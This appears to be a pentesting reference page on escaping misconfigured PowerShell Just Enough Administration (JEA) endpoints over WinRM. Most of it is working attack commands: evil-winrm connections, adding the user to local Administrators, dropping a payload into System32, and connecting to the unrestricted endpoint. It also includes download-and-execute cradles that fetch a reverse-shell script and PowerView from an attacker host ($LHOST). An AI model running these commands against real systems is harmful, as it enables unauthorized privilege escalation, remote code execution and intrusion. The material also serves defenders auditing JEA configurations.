# JEA Endpoint Escape – Breaking Out of Just Enough Administration - **URL:** https://hackindex.io/services/winrm/privilege-escalation/jea-escape - **Path:** WinRM > Privilege Escalation - **Up:** [Privilege Escalation](https://hackindex.io/services/winrm/privilege-escalation.md) - **Published:** 2026-03-12 - **Updated:** 2026-05-06 Just Enough Administration (JEA) is a PowerShell remoting configuration that locks a WinRM session to a whitelist of specific commands, typically running as a high-privilege virtual account in the background. The user connects with low or no privileges but the commands they are allowed to run execute as SYSTEM or a service account behind the scenes. A misconfigured JEA endpoint is a direct path to SYSTEM. ## Recognising a JEA Session Connect with evil-winrm as normal. If you land in a JEA endpoint rather than a full shell: ```bash evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD ``` The prompt looks normal but most commands fail. The immediate tell: ```powershell Get-Command ``` A full PowerShell session returns hundreds of commands. A JEA session returns a short, curated list: often fewer than 20. Also check: ```powershell $ExecutionContext.SessionState.LanguageMode ``` `NoLanguage` confirms a JEA session. `ConstrainedLanguage` may also indicate a restricted endpoint. ## Enumerating the JEA Configuration for Escape Paths List every command available to you: ```powershell Get-Command | Select-Object Name, CommandType ``` Check for command parameters in detail: parameters are often the attack surface: ```powershell Get-Command | Select-Object -ExpandProperty Parameters ``` Read the session configuration if you can access it: ```powershell Get-PSSessionConfiguration ``` Check the role capability files if accessible on disk: they define exactly what is permitted: ```powershell Get-ChildItem "C:\Windows\System32\WindowsPowerShell\v1.0\Modules" -Recurse -Filter "*.psrc" Get-ChildItem "$env:ProgramFiles\WindowsPowerShell\Modules" -Recurse -Filter "*.psrc" ``` Role capability files (`.psrc`) define the JEA policy. Key entries to check: - `VisibleCmdlets`: cmdlets the user can run, often the primary attack surface - `VisibleFunctions`: custom functions exposed to the session - `VisibleExternalCommands`: external binaries allowed (cmd.exe, msbuild.exe) - `ScriptsToProcess`: scripts loaded at session startup ## Technique 1 - Script Block Abuse If script blocks are permitted in the session configuration, you can define and call arbitrary PowerShell in the context of the underlying high-privilege account: ```powershell Invoke-Command -ScriptBlock { whoami } ``` If this returns a privileged account name (e.g. `nt authority\system` or a service account), the JEA endpoint is running as that principal. Escalate immediately: ```powershell Invoke-Command -ScriptBlock { net localgroup Administrators $USER /add /domain } ``` Or get a reverse shell: ```powershell Invoke-Command -ScriptBlock { IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/rev.ps1') } ``` ## Technique 2 - Parameter Injection via Allowed Cmdlets Many JEA configurations allow helpdesk-style cmdlets that take a `Path`, `FilePath`, or `ScriptBlock` parameter. If any allowed command accepts a file path or script block parameter, inject through it. Example: if `Restart-Service` is allowed: ```powershell Get-Command Restart-Service | Select -ExpandProperty Parameters ``` Look for `-PassThru`, `-Confirm`, or anything that might trigger a script. Some administrative cmdlets allow `-Before` or `-After` script hooks. If `Start-Process` is allowed: ```powershell Start-Process -FilePath cmd.exe -ArgumentList "/c net localgroup Administrators $USER /add" ``` If `Copy-Item` is allowed and you can write to a privileged path: ```powershell Copy-Item C:\Windows\Temp\payload.exe C:\Windows\System32\malware.exe ``` Then trigger execution via any allowed command that runs executables. ## Technique 3 - Function Definition Escape If the JEA endpoint allows defining functions but restricts language mode, try defining a function that wraps a restricted operation: ```powershell function Invoke-Escape { whoami } Invoke-Escape ``` Some JEA implementations check the top-level command name but not nested script blocks inside permitted functions. ## Technique 4 - Connecting to an Unrestricted Endpoint A server often has multiple WinRM endpoints registered: the default restricted JEA endpoint is configured by name but the default `microsoft.powershell` endpoint may still exist and accept connections from your account: List registered endpoints (if Get-PSSessionConfiguration is available): ```powershell Get-PSSessionConfiguration | Select-Object Name, Permission ``` Connect to the default unrestricted endpoint explicitly: ```bash evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD -e microsoft.powershell ``` Or with Enter-PSSession specifying the ConfigurationName: ```powershell Enter-PSSession -ComputerName $TARGET_IP -Credential $USER -ConfigurationName "microsoft.powershell" ``` If the default endpoint is accessible to your account, it bypasses the JEA restriction entirely. ## Technique 5 - Abusing RunAs Virtual Account JEA endpoints that use `RunAsVirtualAccount = $true` in their session configuration execute all commands as a local administrator or SYSTEM. If you can identify what the virtual account can do, you can escalate through any permitted command. Check which account your commands run as: ```powershell Invoke-Command -ScriptBlock { whoami } ``` If the output is `nt authority\system` or a privileged local account, any command parameter abuse above immediately yields SYSTEM access. ## Post-Escape Verification After escaping, confirm full language mode and privilege: ```powershell $ExecutionContext.SessionState.LanguageMode whoami /all ``` Load tools from memory: ```powershell IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/PowerView.ps1') ``` ## References - [Just Enough Administration Overview ](https://learn.microsoft.com/en-us/powershell/scripting/security/remoting/jea/overview) - Microsoft Official JEA architecture, role capability file structure, and session configuration documentation. - [JEA Attack Surface](https://www.exploit-db.com/docs/english/41345-jea-attack-surface-research.pdf) - Exploit-DB Research paper covering JEA escape techniques and misconfiguration patterns.